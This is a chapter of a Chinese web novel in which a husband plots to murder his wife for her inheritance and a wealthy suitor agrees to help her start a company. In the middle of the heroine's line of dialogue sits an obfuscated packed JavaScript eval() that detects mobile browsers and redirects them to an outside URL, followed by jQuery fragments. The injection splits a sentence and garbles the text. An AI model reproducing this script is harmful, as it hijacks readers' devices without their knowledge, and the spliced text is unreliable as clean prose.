12. 机会
作品:《自私炮灰她死不悔改[快穿]》 “不!”
男子紧闭双眼,额头上的汗水浸湿了头发。
“文恩,文恩?”
身子被不断摇晃,那骇人的画面也消失不见。
陈文恩茫然地睁开眼,看见身旁着急的女人,大口喘着气,“念雅。”
白念雅忧心忡忡道:“文恩,你最近日日梦魇,等到了港城,一定要找个医生好好看看。”
“念雅,你放心,我没事。”见白念雅弯着腰,他拉着她的手,“你怀着孩子,先坐下。”
两人倚靠在床头,白念雅道:“我听说噩梦说出来会好些,什么梦把你吓成那样?不如说给我听听。”
陈文恩含糊道:“就是一些脏东西而已。”
想起那些重复的梦,他眼神一暗。
这些天,他一睡觉就梦见云今欢那个愚蠢庸俗的女人。
当初爹为了好名声,逼迫他娶云今欢,起初他并不愿,他喜欢的是与他青梅竹马长大的白念雅。
但云今欢实在貌美,又坑走他爹那么多钱财,娶回家也无妨。
可新婚前夕他才从他娘那里知道,他根本不是爹娘亲生的孩子。
娘说她也是不久前才发现他与白念雅抱错一事,原本见他们情投意合,想将错就错让他将白念雅娶回家,谁知道半路杀出个云今欢,她劝了许久都没能让他爹点头退婚,只能叫他先娶云今欢,之后再找个由头休妻。
他觉得荒谬,从他与白念雅认识以来,他向来眼高于顶的娘就对家世一般的白念雅很好,他之前以为两人是投缘,得知了这事,怎么想他娘都不可能是不久前才发现抱错的事。
他私下打听后,从大姐那得知一桩往事,当年他娘连生两个女儿后再没开怀,他爹想过继或是纳妾,后来他娘又怀有身孕生下他,他爹才再没提那两件事。
若他娘当年生的是白念雅,害怕他爹知道后过继侄子于是起了换孩子的心思,那便说得通了。
可即使猜出事情的全部,陈文恩也不能把事情说出去。
他爹古板,要的是有血缘关系的男丁继承家业,若是被他爹知道他是‘抱错的’,他娘会被责骂,他则会被立刻被赶出家门。
当了那么久的陈家少爷,他哪能去过泥腿子的生活?
本以为他爹死了他能继承财产,谁知他爹临终前的遗言竟是让他娘继承了全部财产,他就像是个摆设,日后休了云今欢,娶回白念雅再生个孩子,那个孩子不管是外人看来还是在他娘眼里,都是陈家的血脉,招赘还怕三代还宗,他娘这么一出,不是招赘却胜似招赘。
他若是想要钱,一点小零花会有,但大钱他娘不愿给。
可他没有,不代表云今欢没有,云今欢手上有六分之一的陈家家产,那已然是很大一笔钱,既然云今欢本就要被他休弃,何不物尽其用,直接将人处理掉,云今欢父母双亡,作为她的丈夫,他合该继承她所有的财产,便是他娘也没有插手的道理。
云今欢是貌美,可她死了,既能让他娘放心,他又能以这笔钱为起始资金在港城大施拳脚,等他事业有成,私底下要什么样的女人没有?
陈文恩计划的很好,他先稳住了陈太太,再做出一副深恋白念雅的模样,鼓动陈太太配合他,先给云今欢一笔钱,云今欢爱慕虚荣,带着钱到港城一定毫不掩饰地四处逛,一个女人带着大量钱财被人盯上也是顺理成章的事,再叫陈文心两姐妹在云今欢那儿受点委屈,陈家的名声和钱财都能两全。
在梦里,一切都如同他计划的那般进行下去,甚至他那位姑姑都改变主意帮了他一把。
可是云今欢死后......
想到梦里那个男人的所作所为,陈文恩眼里闪过一丝恐惧。
好在上天眷顾,让他做了预知梦,他特意提前到港城,正是因为梦里那男人现在还在医院养伤。
保险起见,他又和陈有仪说晚了几天到达的时间,等他找好宅子,把云今欢从钟家带出来关着,再找个时间解决了,云今欢和那男人便再无认识的可能,他也再无后顾之忧。
想着,陈文恩笑意越发加深。
·
段助理敲门前,钟嘉泽刚翻阅完一本书。
讲述‘爱情’那一篇章,他看了三遍。
他有过目不忘的本领,却无法领会其中含义。
周围无人,钟嘉泽脸上罕见表露出茫然。
他的父母是商业联姻,各尽其责,他见过他们熟稔地扮演一对恩爱夫妻,又在离开众人视线后熟稔地卸下面具,对对方冰冷又客气,不知是又戴上一层面具,还是本就没有情感。
他们夫妻之间如此,对他也未曾有多少温情,在他们眼中他是两家血脉的延续,他的存在会让家族之间的合作关系更加紧密,他的能力必须超群拔萃,性格必须温和有礼,成为一个合格的继承人,使家族更上一层楼。
他如他们所想的那般成长,到达了他们到达不了的高度。
也不知从什么时候开始失去了感知情绪的能力。
这些年来公司的发展并非畅通无阻,不管是公司的低谷还是其他几房的算计,他都一一解决,没有为公司处境不明而忧虑,也没有因血缘亲人背叛感到恼怒。
一切对他来说都无足轻重。
直到那天,他看见了从车窗探出来半个脑袋的云今欢。
他鬼使神差地上前,当了一回劫车匪徒。
她唤醒了他的情感,让它在她身上寄托。
因她落泪心软,因她欢喜满足。
这很不可思议,但他确实对她一见钟情。
“咚咚。”
敲门声打断他的思绪,神色又变得平淡,“请进。”
段助理进来,“钟总,陈少奶奶说是有事要见您。”
良久没得到钟嘉泽的回应,段助理正欲开口,钟嘉泽道:“你跟她说我在开会,她若有什么事你帮着办了。”
钟嘉泽了悟心意,并非不想见她,只是理智终究更胜一筹,压制住心中呼之欲出的凶兽。
理智在告诉他,既她已与旁人结为夫妻琴瑟和鸣,他便不该放任自己对她有情,有一天若是压抑不住这份情感,会伤害到她。
钟嘉泽说完,却见段助理尴尬一笑,“钟总,陈少奶奶她已经在外面了。”
因钟嘉泽吩咐过要他们好好照顾云今欢,在云今欢提出要见钟嘉泽后,虎豹兄弟毫不犹豫地把人带到了钟嘉泽办公室前。
段助理想着以钟嘉泽近些日子面对云今欢时的反常举动,他只进来说一声就好,谁曾想钟嘉泽忽然说要开会,这不是明摆着不想见云今欢,才找出来的借口。
事已至此,总不能尬在这里,段助理正想着要以什么样的理由把人请走又不至于伤了面子,也不知是不是他幻听了,竟听到钟总轻叹一声,紧接着道:“让她进来吧。”
段助理赶紧去开门,笑呵呵地把云今欢迎进来,又按照云今欢的意思,带着云香去喝茶。
云今欢进来时见钟嘉泽正站在柜子前,修长的手指轻轻一推,书便顺从地挤进空隙里。
“钟嘉泽。”
钟嘉泽回首,眉宇浅淡无波,“坐。”
云今欢不想坐,她刚和云香商量要开什么样的公司,正兴奋着,只想快点从钟嘉泽这里要到主意,再借几个人手,“我有事同你说,钟嘉泽,你借我几个人,最好是什么都会的,我想开个公司。”
“为什么找我?”
云今欢愣了愣,“你不是说会帮我吗?”
“开公司兹事重大,我一个外人怎好帮忙?”钟嘉泽的手还搭在书立上,没有回应那道视线,“或许,你可以问问你的丈夫。”
‘丈夫’二字的尾音似乎还残存在脑海,心口传来一阵闷痛,极快,却在过去之后留下丝丝缕缕的麻刺感,像是有数万根细小木刺扎进心脏。
滋养它们的是阴暗绵长又让他无能为力的妒忌。
拔不掉,不能留。
他放任它们生长、刺入,嘲意不绝不止,既是对他自己,也是对她那个素未谋面的丈夫。
占据着身份,却又无用到让她来向他求助。
钟嘉泽收回手,转而走向窗边。
这里视线开阔,他却好像进入了晦暗的匣子内,密不透风,无处可逃。
云今欢的视线跟着他的身影调转,她不明白,他为什么突然提到陈文恩。
这倒是个好机会,法律既然不承认她和陈文恩的夫妻关系,他便是劝和不劝分,也不能强行撮合吧。
而且这事他就算现在不知道,过不了多久也会知道。
思及于此,云今欢郑重道:
“我不喜欢他。”
“而且,我和他没有夫妻关系
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128688|164280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
钟嘉泽眼眸一缩,无法控制地看向她。
天籁之音亦不可与之相比的两句话出现在耳畔,脑海里全是这两句话在回荡。
他定住心神,确定不是因为看窗外阳光太久出现幻觉。
“真的不喜欢他?”
钟嘉泽垂眸,语气平静,又带着微不可查的轻颤。
“当然,不光是陈文恩,陈家的人我都不喜欢。”云今欢看不出来他是何意,她是铁了心要和陈家扯开关系,他是陈家的姻亲,又说过要向她报恩,那他就必须从中选一个。
她看向他,小脸透着些蛮横,“你要是真心想要回报我,你就不可以帮陈家对付我,而且你答应要为我做的事还没做,我如今给你一个报恩的机会,你可不能忘恩负义。”
钟嘉泽见她说完后下意识咬唇,就差没把‘和我玩就不能和别人好’写在脸上。
心脏似乎要冲破胸腔。
她总是这般嬉笑怒骂皆形于色,没学过伪装,更没想过伪装,便是拉拢人也是高高在上,宛如施舍。
“底下的人都有工作要做,且并不擅长于此。”
云今欢眸中闪过一丝失望,她不笨,她知道她又被婉拒了。
被许琳兰婉拒时她没有什么特别的感受,可现在心里闷闷的,很烦,想把拒绝她的这个男人挠花。
他之前从来没有拒绝过她的要求。
明明说好要报恩。
骗子,她又被骗了。
从前因为爹说陈家人会待她好,又给她置办了那么多嫁妆,她以为他们都喜欢她,她的婚姻必然和睦,爹走了她也依然还有家,结果她只是衬托陈家人善良可怜的一个丑角而已。
现在她相信他是真心想要报恩,他却因为与陈家的姻亲关系,借她几个人都不愿意。
云今欢低下头,不想让讨厌的骗子看见她的眼泪。
她已经看透了。
这些大户人家最看重这些可以相互扶持的关系,而她父母双逝,在港城没有可以为她撑腰的人,自然是他们想怎么样就怎么样。
“哒。”
细小又不容忽视的声音堵住钟嘉泽接下来的话,他蹙眉,倏地走到少女身前。
她肩膀微颤,长而卷的睫毛糊成一团,他弯腰去看。
眼泪顺着她光洁的脸颊滑下,聚集在挺翘的下巴上,下巴尖兜不住那么多的眼泪,一滴一滴落在地面。
果然。
“怎么又哭了?”
这话就如同溅进油锅的水,炸的云今欢无可忍耐。
在男人愕然的眼神下拽住他的领带,又推又打他,“哭,我哭怎么了?你要惹我还不让我哭,你凭什么这么霸道不讲理,我哭都是因为谁?”
眼中的泪水模糊视线,她随意拿他的领带擦了擦,又继续锤他,边锤边哽咽道:
“你和陈家是一伙的,你们,你们就知道骗我!”
钟嘉泽无奈,这可真是天大的冤屈。
奈何法官并不给他申辩的机会,他只好先端正态度,任由她打骂。
等她似是有些累了,只打不骂之后,才温声解释:“没说不帮你。”
她动作一停,看向他的双眼红通通的,眸中映着他,也只有他。
“是我不好,没将话说清楚,才惹你哭。”他想将她的泪水拭去,微抬手,又觉唐突,拿出一张手帕,“是我不好,抱歉。”
看着她的泪眼,钟嘉泽想到他们初见时到现在的种种。
他不该要求她不能哭,他若是做得好,让她感受不到惊慌、担忧,她自然不会想要哭泣。
“我并非不想帮你,而是比起他们,我更合适。”
云今欢眼尾软下来,露出些许怔然:“你更合适?”
“嗯,我可以教你,也可以帮你,其他人懂得不会比我多,做的也不会比我好。”
见她擦干眼泪,若有所思的模样,他笑得温良,谆谆善诱:“除了我,你还能想到更合适的人吗?”
云今欢诚实地摇头,陈家够不上首富的零头,但钟嘉泽就是,他一定很厉害。
“那我就给你这个机会。”
“好。”钟嘉泽从未感觉如此轻松。
他需要她的施舍。
主动允准、要求他进入她的阵营。
从此,他不必再窥视天光。